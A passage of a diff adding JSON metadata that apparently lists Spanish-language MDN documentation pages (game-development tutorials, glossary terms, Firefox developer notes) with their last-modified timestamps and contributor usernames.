+      "Markens",
+      "DR"
+    ]
+  },
+  "DOM_Inspector": {
+    "modified": "2020-07-16T22:36:24.191Z",
+    "contributors": [
+      "Mgjbot",
+      "Jorolo",
+      "Tatan",
+      "TETSUO"
+    ]
+  },
+  "Desarrollando_Mozilla": {
+    "modified": "2019-01-16T14:32:31.515Z",
+    "contributors": [
+      "another_sam",
+      "Mgjbot",
+      "Jorolo",
+      "Nukeador",
+      "Turin"
+    ]
+  },
+  "Desarrollo_Web": {
+    "modified": "2019-03-23T23:43:57.691Z",
+    "contributors": [
+      "Mgjbot",
+      "Jorolo"
+    ]
+  },
+  "Detectar_la_orientación_del_dispositivo": {
+    "modified": "2019-03-24T00:07:57.131Z",
+    "contributors": [
+      "inma_610"
+    ]
+  },
+  "Dibujando_Gráficos_con_Canvas": {
+    "modified": "2019-01-16T20:01:59.575Z",
+    "contributors": [
+      "Firegooploer"
+    ]
+  },
+  "Dibujar_texto_usando_canvas": {
+    "modified": "2019-01-16T15:31:41.845Z",
+    "contributors": [
+      "Mgjbot",
+      "HenryGR",
+      "Nukeador",
+      "RickieesES",
+      "Debianpc"
+    ]
+  },
+  "DragDrop": {
+    "modified": "2019-03-23T23:18:26.504Z",
+    "contributors": [
+      "drewp"
+    ]
+  },
+  "DragDrop/Drag_and_Drop": {
+    "modified": "2019-03-24T00:07:57.845Z",
+    "contributors": [
+      "ethertank",
+      "inma_610"
+    ]
+  },
+  "DragDrop/Drag_and_Drop/drag_and_drop_archivo": {
+    "modified": "2020-11-01T11:34:07.543Z",
+    "contributors": [
+      "juanrueda",
+      "davidpala.dev",
+      "brahAraya",
+      "ajuni880",
+      "israteneda",
+      "RVidalki",
+      "clarii",
+      "rgomez"
+    ]
+  },
+  "DragDrop/Recommended_Drag_Types": {
+    "modified": "2019-03-23T23:18:24.597Z",
+    "contributors": [
+      "Evinton"
+    ]
+  },
+  "Estructura_de_directorios_de_código_fuente_de_Mozilla": {
+    "modified": "2019-03-24T00:17:11.569Z",
+    "contributors": [
+      "ethertank",
+      "MiguelFRomeroR",
+      "Sheppy"
+    ]
+  },
+  "Etiquetas_audio_y_video_en_Firefox": {
+    "modified": "2019-03-23T23:59:36.294Z",
+    "contributors": [
+      "Nukeador",
+      "deimidis"
+    ]
+  },
+  "Extensiones/Actualización_de_extensiones_para_Firefox_4": {
+    "modified": "2019-03-24T00:05:58.390Z",
+    "contributors": [
+      "inma_610"
+    ]
+  },
+  "FAQ_Incrustando_Mozilla": {
+    "modified": "2019-01-16T16:20:13.874Z",
+    "contributors": [
+      "Lastjuan"
+    ]
+  },
+  "Firefox_1.5_para_Desarrolladores": {
+    "modified": "2019-03-23T23:47:34.365Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "Rubenbae",
+      "Pachtonio",
+      "Sheppy",
+      "Mgjbot",
+      "Jorolo",
+      "Fedora-core",
+      "Nukeador",
+      "Takenbot",
+      "Willyaranda",
+      "Pasky",
+      "Angelr04",
+      "Epaclon"
+    ]
+  },
+  "Firefox_19_para_desarrolladores": {
+    "modified": "2019-03-18T20:54:04.568Z",
+    "contributors": [
+      "ulisestrujillo",
+      "wbamberg",
+      "Sebastianz",
+      "mannyatico"
+    ]
+  },
+  "Firefox_2_para_desarrolladores": {
+    "modified": "2019-03-23T23:58:56.168Z",
+    "contributors": [
+      "wbamberg",
+      "DoctorRomi",
+      "Markens",
+      "Mgjbot",
+      "Nukeador",
+      "Superruzafa",
+      "Guis",
+      "StripTM",
+      "Jorolo"
+    ]
+  },
+  "Firefox_3.5_para_desarrolladores": {
+    "modified": "2019-03-24T00:03:16.036Z",
+    "contributors": [
+      "wbamberg",
+      "ethertank",
+      "another_sam",
+      "deimidis",
+      "Nukeador"
+    ]
+  },
+  "Firefox_3_para_desarrolladores": {
+    "modified": "2019-03-24T00:04:08.312Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "fscholz",
+      "Mgjbot",
+      "Nukeador",
+      "Surferosx",
+      "Nathymig",
+      "Dfier",
+      "Wrongloop",
+      "Garlock",
+      "Brahiam",
+      "Mariano",
+      "HenryGR",
+      "Jseldon"
+    ]
+  },
+  "Firefox_addons_developer_guide/Introduction_to_Extensions": {
+    "modified": "2019-03-23T23:37:41.632Z",
+    "contributors": [
+      "pacommozilla",
+      "AgustinAlvia"
+    ]
+  },
+  "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions": {
+    "modified": "2019-03-18T21:16:06.336Z",
+    "contributors": [
+      "AgustinAlvia"
+    ]
+  },
+  "Formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio": {
+    "modified": "2019-01-16T14:22:48.165Z",
+    "contributors": [
+      "inma_610"
+    ]
+  },
+  "Fragmentos_de_código": {
+    "modified": "2019-01-16T13:52:44.049Z",
+    "contributors": [
+      "ffox"
+    ]
+  },
+  "Funciones": {
+    "modified": "2019-01-16T16:18:04.260Z",
+    "contributors": [
+      "Jorolo"
+    ]
+  },
+  "Games": {
+    "modified": "2019-09-09T15:31:15.455Z",
+    "contributors": [
+      "SphinxKnight",
+      "isocialweb",
+      "wbamberg",
+      "fscholz",
+      "ajspadial",
+      "Arudb79",
+      "atlas7jean",
+      "chrisdavidmills"
+    ]
+  },
+  "Games/Anatomy": {
+    "modified": "2019-01-16T22:18:47.235Z",
+    "contributors": [
+      "wbamberg",
+      "cnaucler"
+    ]
+  },
+  "Games/Herramients": {
+    "modified": "2019-01-16T19:29:51.696Z",
+    "contributors": [
+      "wbamberg",
+      "atlas7jean"
+    ]
+  },
+  "Games/Herramients/asm.js": {
+    "modified": "2019-03-18T21:21:31.919Z",
+    "contributors": [
+      "WilsonIsAliveClone",
+      "serarroy"
+    ]
+  },
+  "Games/Introduccion": {
+    "modified": "2020-11-28T21:23:49.961Z",
+    "contributors": [
+      "rayrojas",
+      "titox",
+      "gauchoscript",
+      "wbamberg",
+      "Mancux2",
+      "Albizures",
+      "atlas7jean"
+    ]
+  },
+  "Games/Introducción_al_desarrollo_de_juegos_HTML5_(resumen)": {
+    "modified": "2019-08-05T12:49:59.324Z",
+    "contributors": [
+      "WilsonIsAliveClone"
+    ]
+  },
+  "Games/Publishing_games": {
+    "modified": "2019-03-18T21:22:03.542Z",
+    "contributors": [
+      "carlosgocereceda",
+      "mikelmg",
+      "SphinxKnight",
+      "wbamberg"
+    ]
+  },
+  "Games/Publishing_games/Game_distribution": {
+    "modified": "2020-08-09T16:02:37.394Z",
+    "contributors": [
+      "katherincorredor",
+      "WilsonIsAliveClone",
+      "carlosgocereceda"
+    ]
+  },
+  "Games/Publishing_games/Monetización_de_los_juegos": {
+    "modified": "2019-03-18T21:22:04.540Z",
+    "contributors": [
+      "mikelmg",
+      "carlosgocereceda",
+      "WilsonIsAliveClone"
+    ]
+  },
+  "Games/Techniques": {
+    "modified": "2019-01-17T02:01:32.309Z",
+    "contributors": [
+      "wbamberg",
+      "chrisdavidmills"
+    ]
+  },
+  "Games/Techniques/2D_collision_detection": {
+    "modified": "2019-01-17T02:34:23.543Z",
+    "contributors": [
+      "wbamberg",
+      "SuperHostile"
+    ]
+  },
+  "Games/Techniques/3D_on_the_web": {
+    "modified": "2019-03-18T21:23:46.780Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Games/Techniques/WebRTC_data_channels": {
+    "modified": "2019-03-23T22:04:08.435Z",
+    "contributors": [
+      "wbamberg",
+      "J4MP"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser": {
+    "modified": "2019-03-18T21:43:09.977Z",
+    "contributors": [
+      "wbamberg",
+      "chrisdavidmills"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Animations_and_tweens": {
+    "modified": "2019-03-18T21:18:57.095Z",
+    "contributors": [
+      "WilsonIsAliveClone",
+      "serarroy"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Botones": {
+    "modified": "2019-11-03T00:22:01.318Z",
+    "contributors": [
+      "AdryDev92",
+      "carlosgocereceda",
+      "serarroy"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Collision_detection": {
+    "modified": "2019-03-18T21:21:35.455Z",
+    "contributors": [
+      "WilsonIsAliveClone",
+      "serarroy"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Extra_lives": {
+    "modified": "2019-03-18T21:21:17.358Z",
+    "contributors": [
+      "carlosgocereceda",
+      "WilsonIsAliveClone",
+      "serarroy"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Game_over": {
+    "modified": "2019-03-18T21:20:23.610Z",
+    "contributors": [
+      "mikelmg",
+      "carlosgocereceda",
+      "WilsonIsAliveClone"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Initialize_the_framework": {
+    "modified": "2019-01-17T02:28:59.298Z",
+    "contributors": [
+      "wbamberg",
+      "proncaglia"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Move_the_ball": {
+    "modified": "2019-03-18T21:21:15.950Z",
+    "contributors": [
+      "WilsonIsAliveClone",
+      "serarroy"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Rebotar_en_las_paredes": {
+    "modified": "2019-03-18T21:18:55.239Z",
+    "contributors": [
+      "WilsonIsAliveClone"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Scaling": {
+    "modified": "2019-01-17T02:28:53.459Z",
+    "contributors": [
+      "wbamberg",
+      "proncaglia"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/The_score": {
+    "modified": "2019-03-18T21:21:15.588Z",
+    "contributors": [
+      "mikelmg",
+      "WilsonIsAliveClone",
+      "serarroy"
+    ]
+  },
+  "Games/Tutorials/2D_breakout_game_Phaser/Win_the_game": {
+    "modified": "2020-04-05T22:13:29.758Z",
+    "contributors": [
+      "KevinPiola",
+      "carlosgocereceda",
+      "serarroy"
+    ]
+  },
+  "Games/Workflows": {
+    "modified": "2019-01-16T19:25:39.809Z",
+    "contributors": [
+      "wbamberg",
+      "groovecoder"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro": {
+    "modified": "2019-03-23T22:19:39.385Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor",
+      "emolinerom",
+      "jolosan"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls": {
+    "modified": "2019-03-23T22:19:43.884Z",
+    "contributors": [
+      "wbamberg",
+      "regisdark",
+      "profesooooor",
+      "emolinerom"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques": {
+    "modified": "2019-01-17T00:34:48.662Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor",
+      "emolinerom"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado": {
+    "modified": "2019-01-17T00:34:24.542Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor",
+      "emolinerom"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton": {
+    "modified": "2019-01-17T00:34:40.600Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor",
+      "emolinerom"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it": {
+    "modified": "2019-01-17T00:33:08.752Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor",
+      "jolosan"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones": {
+    "modified": "2019-03-18T20:48:38.662Z",
+    "contributors": [
+      "juanedsa",
+      "wbamberg",
+      "profesooooor",
+      "emolinerom"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego": {
+    "modified": "2019-03-23T22:17:05.460Z",
+    "contributors": [
+      "wbamberg",
+      "regisdark",
+      "profesooooor",
+      "jolosan"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola": {
+    "modified": "2019-03-23T22:19:10.641Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor",
+      "jolosan",
+      "emolinerom"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Terminando": {
+    "modified": "2019-01-17T01:08:54.537Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor"
+    ]
+  },
+  "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win": {
+    "modified": "2019-01-17T01:08:23.453Z",
+    "contributors": [
+      "wbamberg",
+      "profesooooor"
+    ]
+  },
+  "Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation": {
+    "modified": "2019-03-23T23:11:29.148Z",
+    "contributors": [
+      "wbamberg",
+      "lauttttaro",
+      "chebit"
+    ]
+  },
+  "Generación_de_GUIDs": {
+    "modified": "2019-03-24T00:06:07.388Z",
+    "contributors": [
+      "ibnkhaldun"
+    ]
+  },
+  "Glossary": {
+    "modified": "2020-10-07T11:08:11.871Z",
+    "contributors": [
+      "peterbe",
+      "joseluisq",
+      "SphinxKnight",
+      "wbamberg",
+      "raecillacastellana",
+      "LauraHilliger"
+    ]
+  },
+  "Glossary/404": {
+    "modified": "2019-03-23T22:37:45.365Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Glossary/502": {
+    "modified": "2019-03-23T22:37:47.150Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Glossary/AJAX": {
+    "modified": "2020-08-03T01:24:29.370Z",
+    "contributors": [
+      "zgreco2000",
+      "hello",
+      "hectoraldairah",
+      "tonyrodrigues",
+      "memotronix",
+      "ekros"
+    ]
+  },
+  "Glossary/API": {
+    "modified": "2019-03-23T23:14:34.833Z",
+    "contributors": [
+      "teoli",
+      "AngelFQC"
+    ]
+  },
+  "Glossary/ARIA": {
+    "modified": "2019-03-23T22:15:41.387Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/ARPA": {
+    "modified": "2019-03-18T21:31:13.320Z",
+    "contributors": [
+      "dcantomo"
+    ]
+  },
+  "Glossary/ASCII": {
+    "modified": "2019-03-23T22:15:33.120Z",
+    "contributors": [
+      "lajaso",
+      "gparra989"
+    ]
+  },
+  "Glossary/ATAG": {
+    "modified": "2019-03-23T22:15:44.329Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/Abstraction": {
+    "modified": "2019-03-23T22:24:49.785Z",
+    "contributors": [
+      "feliperomero3",
+      "israel-munoz",
+      "ekros"
+    ]
+  },
+  "Glossary/Accessibility": {
+    "modified": "2019-03-23T22:25:00.142Z",
+    "contributors": [
+      "ekros"
+    ]
+  },
+  "Glossary/Accessibility_tree": {
+    "modified": "2020-10-23T07:47:20.142Z",
+    "contributors": [
+      "chrisdavidmills",
+      "caro-oviedo"
+    ]
+  },
+  "Glossary/Adobe_Flash": {
+    "modified": "2019-03-18T20:57:35.400Z",
+    "contributors": [
+      "yoshimii",
+      "ekros"
+    ]
+  },
+  "Glossary/Algoritmo": {
+    "modified": "2019-01-17T00:09:54.063Z",
+    "contributors": [
+      "ekros"
+    ]
+  },
+  "Glossary/Apple_Safari": {
+    "modified": "2020-08-30T09:41:20.026Z",
+    "contributors": [
+      "mastertrooper",
+      "ekros"
+    ]
+  },
+  "Glossary/Argumento": {
+    "modified": "2019-03-23T22:15:34.303Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/Arpanet": {
+    "modified": "2020-03-15T22:50:09.715Z",
+    "contributors": [
+      "kev8in",
+      "gparra989"
+    ]
+  },
+  "Glossary/Arquitectura_de_la_información": {
+    "modified": "2020-09-06T16:32:32.362Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/Arreglos": {
+    "modified": "2020-05-28T13:51:10.546Z",
+    "contributors": [
+      "fedoroffs",
+      "BubuAnabelas",
+      "Davids-Devel",
+      "Daniel_Martin",
+      "gparra989"
+    ]
+  },
+  "Glossary/Asíncrono": {
+    "modified": "2020-05-04T10:40:03.360Z",
+    "contributors": [
+      "jorgeCaster",
+      "fjluengo",
+      "gparra989"
+    ]
+  },
+  "Glossary/Atributo": {
+    "modified": "2019-03-23T22:15:46.319Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/Atributo_global": {
+    "modified": "2019-03-18T21:19:21.658Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Bandwidth": {
+    "modified": "2019-03-23T22:15:45.908Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/BigInt": {
+    "modified": "2020-09-25T04:27:46.263Z",
+    "contributors": [
+      "4rturd13"
+    ]
+  },
+  "Glossary/Blink": {
+    "modified": "2019-03-18T21:44:06.201Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Block": {
+    "modified": "2019-03-18T21:41:49.707Z",
+    "contributors": [
+      "Esteban"
+    ]
+  },
+  "Glossary/Block/CSS": {
+    "modified": "2020-06-24T23:38:45.496Z",
+    "contributors": [
+      "LinkStrifer",
+      "BubuAnabelas",
+      "Esteban"
+    ]
+  },
+  "Glossary/Boolean": {
+    "modified": "2019-03-23T22:58:03.390Z",
+    "contributors": [
+      "Cleon"
+    ]
+  },
+  "Glossary/Browser": {
+    "modified": "2019-03-18T21:43:56.678Z",
+    "contributors": [
+      "Maletil",
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Browsing_context": {
+    "modified": "2019-04-04T14:36:22.033Z",
+    "contributors": [
+      "danielblazquez"
+    ]
+  },
+  "Glossary/Buffer": {
+    "modified": "2019-03-18T21:18:59.378Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/CDN": {
+    "modified": "2020-05-28T16:24:22.721Z",
+    "contributors": [
+      "jaimefdezmv",
+      "quirinolemanches"
+    ]
+  },
+  "Glossary/CID": {
+    "modified": "2019-03-18T21:19:22.724Z",
+    "contributors": [
+      "PabloDeTorre",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/CRUD": {
+    "modified": "2019-03-23T22:03:05.724Z",
+    "contributors": [
+      "velizluisma"
+    ]
+  },
+  "Glossary/CSRF": {
+    "modified": "2019-03-18T21:19:22.851Z",
+    "contributors": [
+      "sergiomgm"
+    ]
+  },
+  "Glossary/CSS": {
+    "modified": "2020-06-20T09:41:42.032Z",
+    "contributors": [
+      "hello",
+      "Maletil",
+      "cawilff",
+      "Sergio_Gonzalez_Collado",
+      "analia.antenucci",
+      "sergio_p_d",
+      "memotronix"
+    ]
+  },
+  "Glossary/Cabecera_general": {
+    "modified": "2019-03-18T21:34:28.155Z",
+    "contributors": [
+      "Watermelonnable"
+    ]
+  },
+  "Glossary/Caché": {
+    "modified": "2019-03-18T21:19:00.217Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/Callback_function": {
+    "modified": "2019-04-22T16:14:36.669Z",
+    "contributors": [
+      "faustom721",
+      "lcassettai",
+      "yomar-dev"
+    ]
+  },
+  "Glossary/Canvas": {
+    "modified": "2020-09-21T20:35:53.439Z",
+    "contributors": [
+      "Alejo1417",
+      "jorgeluispedro16"
+    ]
+  },
+  "Glossary/Caracter": {
+    "modified": "2020-08-23T05:27:25.056Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/Chrome": {
+    "modified": "2019-03-18T21:42:29.056Z",
+    "contributors": [
+      "amirtorrez"
+    ]
+  },
+  "Glossary/Cifrado": {
+    "modified": "2019-03-18T21:19:02.237Z",
+    "contributors": [
+      "PabloDeTorre",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/Clasificación_por_tarjetas_(card_sorting)": {
+    "modified": "2019-03-18T21:19:20.709Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Class": {
+    "modified": "2019-03-18T21:18:45.753Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/Clausura": {
+    "modified": "2020-08-12T18:07:27.330Z",
+    "contributors": [
+      "l1oret"
+    ]
+  },
+  "Glossary/Clave": {
+    "modified": "2020-02-18T06:49:22.148Z",
+    "contributors": [
+      "joseluisq",
+      "sergiomgm",
+      "GCF7"
+    ]
+  },
+  "Glossary/Codec": {
+    "modified": "2019-03-18T21:19:01.793Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/Compile": {
+    "modified": "2019-03-18T21:19:15.661Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/Computer_Programming": {
+    "modified": "2019-03-23T22:02:08.531Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Glossary/Constante": {
+    "modified": "2019-03-18T21:19:15.794Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Constructor": {
+    "modified": "2019-03-23T22:15:36.356Z",
+    "contributors": [
+      "untilbit",
+      "gparra989"
+    ]
+  },
+  "Glossary/Cookie": {
+    "modified": "2019-03-18T21:19:00.075Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/Copyleft": {
+    "modified": "2019-03-18T21:43:43.180Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Criptoanálisis": {
+    "modified": "2019-03-18T21:18:36.783Z",
+    "contributors": [
+      "sergiomgm",
+      "GCF7"
+    ]
+  },
+  "Glossary/Criptografía": {
+    "modified": "2019-03-23T22:02:58.447Z",
+    "contributors": [
+      "velizluisma"
+    ]
+  },
+  "Glossary/Cross-site_scripting": {
+    "modified": "2020-04-13T08:31:08.536Z",
+    "contributors": [
+      "Luiggy",
+      "qwerty726"
+    ]
+  },
+  "Glossary/DOM": {
+    "modified": "2019-03-18T21:10:52.251Z",
+    "contributors": [
+      "ChrisMHM",
+      "PabloDeTorre",
+      "vinyetcg",
+      "ferlopezcarr",
+      "HerberWest"
+    ]
+  },
+  "Glossary/DTD": {
+    "modified": "2019-01-17T00:20:06.485Z",
+    "contributors": [
+      "wilfridoSantos"
+    ]
+  },
+  "Glossary/Descifrado": {
+    "modified": "2019-03-18T21:19:11.476Z",
+    "contributors": [
+      "sergiomgm",
+      "GCF7"
+    ]
+  },
+  "Glossary/Doctype": {
+    "modified": "2019-03-23T22:07:28.155Z",
+    "contributors": [
+      "omertafox"
+    ]
+  },
+  "Glossary/Domain": {
+    "modified": "2019-03-18T21:19:17.838Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Dynamic_programming_language": {
+    "modified": "2020-09-12T18:21:07.076Z",
+    "contributors": [
+      "IsraFloores",
+      "DaniNz"
+    ]
+  },
+  "Glossary/ECMAScript": {
+    "modified": "2020-08-31T05:49:16.882Z",
+    "contributors": [
+      "Nachec",
+      "anaturrillo",
+      "Cleon"
+    ]
+  },
+  "Glossary/Element": {
+    "modified": "2019-03-18T21:31:18.857Z",
+    "contributors": [
+      "eddieurbina",
+      "carllewisc"
+    ]
+  },
+  "Glossary/Empty_element": {
+    "modified": "2019-03-23T22:10:52.378Z",
+    "contributors": [
+      "juanmmendez",
+      "DaniNz"
+    ]
+  },
+  "Glossary/Encapsulation": {
+    "modified": "2019-03-18T21:19:13.092Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Encriptación": {
+    "modified": "2019-03-18T21:19:07.209Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/Entidad": {
+    "modified": "2020-07-08T14:34:06.256Z",
+    "contributors": [
+      "lucasreta"
+    ]
+  },
+  "Glossary/Espacio_en_blanco": {
+    "modified": "2020-08-24T04:59:10.953Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/Estructura_de_datos": {
+    "modified": "2019-03-18T21:24:31.453Z",
+    "contributors": [
+      "edsonv"
+    ]
+  },
+  "Glossary/FPS": {
+    "modified": "2020-08-19T14:42:01.823Z",
+    "contributors": [
+      "ianaya89"
+    ]
+  },
+  "Glossary/FTP": {
+    "modified": "2020-06-22T03:59:10.085Z",
+    "contributors": [
+      "Maose"
+    ]
+  },
+  "Glossary/Flex": {
+    "modified": "2020-10-03T01:09:13.365Z",
+    "contributors": [
+      "duduindo",
+      "FlashAmarillo"
+    ]
+  },
+  "Glossary/Flex_Container": {
+    "modified": "2019-11-21T16:42:31.273Z",
+    "contributors": [
+      "scaloner"
+    ]
+  },
+  "Glossary/Flexbox": {
+    "modified": "2019-03-18T21:23:56.502Z",
+    "contributors": [
+      "danpaltor",
+      "ericksonespejo"
+    ]
+  },
+  "Glossary/Funcion_de_primera_clase": {
+    "modified": "2020-05-14T19:36:29.513Z",
+    "contributors": [
+      "l1oret",
+      "hmorv",
+      "LaloHao"
+    ]
+  },
+  "Glossary/Función": {
+    "modified": "2019-03-18T21:19:19.995Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/GPL": {
+    "modified": "2019-03-18T21:43:50.897Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Git": {
+    "modified": "2019-03-18T21:19:20.412Z",
+    "contributors": [
+      "PabloDeTorre",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/Google_Chrome": {
+    "modified": "2019-03-18T21:44:29.185Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Grid": {
+    "modified": "2019-03-23T22:10:55.372Z",
+    "contributors": [
+      "ocamachor",
+      "tipoqueno",
+      "welm"
+    ]
+  },
+  "Glossary/Grid_Areas": {
+    "modified": "2019-03-18T21:46:28.612Z",
+    "contributors": [
+      "tipoqueno"
+    ]
+  },
+  "Glossary/Grid_Column": {
+    "modified": "2020-05-19T18:27:14.068Z",
+    "contributors": [
+      "biclope13",
+      "amaiafilo"
+    ]
+  },
+  "Glossary/Grid_Lines": {
+    "modified": "2019-05-27T03:46:29.561Z",
+    "contributors": [
+      "asael2"
+    ]
+  },
+  "Glossary/Grid_Rows": {
+    "modified": "2019-03-18T21:23:35.644Z",
+    "contributors": [
+      "Xino"
+    ]
+  },
+  "Glossary/HTML": {
+    "modified": "2020-01-23T12:51:04.156Z",
+    "contributors": [
+      "editorUOC",
+      "edsonv",
+      "jpmontoya182",
+      "sergio_p_d",
+      "raecillacastellana"
+    ]
+  },
+  "Glossary/HTML5": {
+    "modified": "2020-06-22T04:32:17.508Z",
+    "contributors": [
+      "Maose"
+    ]
+  },
+  "Glossary/HTTP": {
+    "modified": "2019-07-01T03:11:50.434Z",
+    "contributors": [
+      "SphinxKnight",
+      "unaivalle",
+      "sdelrio",
+      "sergio_p_d"
+    ]
+  },
+  "Glossary/Head": {
+    "modified": "2020-06-22T04:54:37.023Z",
+    "contributors": [
+      "Maose"
+    ]
+  },
+  "Glossary/Hilo_principal": {
+    "modified": "2020-03-12T06:05:36.693Z",
+    "contributors": [
+      "elimperiodelaweb"
+    ]
+  },
+  "Glossary/Hoisting": {
+    "modified": "2019-05-15T21:40:52.256Z",
+    "contributors": [
+      "jevvilla",
+      "IsaacAaron",
+      "sminutoli"
+    ]
+  },
+  "Glossary/Hyperlink": {
+    "modified": "2019-03-18T21:44:07.373Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Hypertext": {
+    "modified": "2019-03-18T21:30:26.239Z",
+    "contributors": [
+      "12g"
+    ]
+  },
+  "Glossary/IDE": {
+    "modified": "2019-03-18T21:18:59.913Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/IIFE": {
+    "modified": "2019-03-18T20:50:02.318Z",
+    "contributors": [
+      "danyparc",
+      "Efrain",
+      "bluesky11117",
+      "emorc"
+    ]
+  },
+  "Glossary/IP_Address": {
+    "modified": "2020-06-22T03:38:12.516Z",
+    "contributors": [
+      "Maose"
+    ]
+  },
+  "Glossary/IPv6": {
+    "modified": "2020-06-03T01:33:08.312Z",
+    "contributors": [
+      "geryescalier"
+    ]
+  },
+  "Glossary/IRC": {
+    "modified": "2020-12-03T00:37:27.868Z",
+    "contributors": [
+      "devil64-dev"
+    ]
+  },
+  "Glossary/ISP": {
+    "modified": "2020-06-22T04:21:55.362Z",
+    "contributors": [
+      "Maose"
+    ]
+  },
+  "Glossary/IU": {
+    "modified": "2019-03-18T21:18:49.573Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/Identificador": {
+    "modified": "2020-08-28T17:30:13.071Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/IndexedDB": {
+    "modified": "2019-03-23T22:36:07.366Z",
+    "contributors": [
+      "Loque"
+    ]
+  },
+  "Glossary/Inmutable": {
+    "modified": "2019-03-18T21:19:12.385Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Internet": {
+    "modified": "2020-04-27T00:09:14.977Z",
+    "contributors": [
+      "candepineyro2015",
+      "r2cris",
+      "cawilff"
+    ]
+  },
+  "Glossary/JSON": {
+    "modified": "2019-05-24T12:44:54.639Z",
+    "contributors": [
+      "EstebanRK",
+      "chavesrdj",
+      "LeonardoDG"
+    ]
+  },
+  "Glossary/Java": {
+    "modified": "2019-03-18T21:19:11.310Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/JavaScript": {
+    "modified": "2020-09-01T00:56:53.463Z",
+    "contributors": [
+      "Nachec",
+      "c9009",
+      "missmakita",
+      "sergio_p_d",
+      "gorrotowi"
+    ]
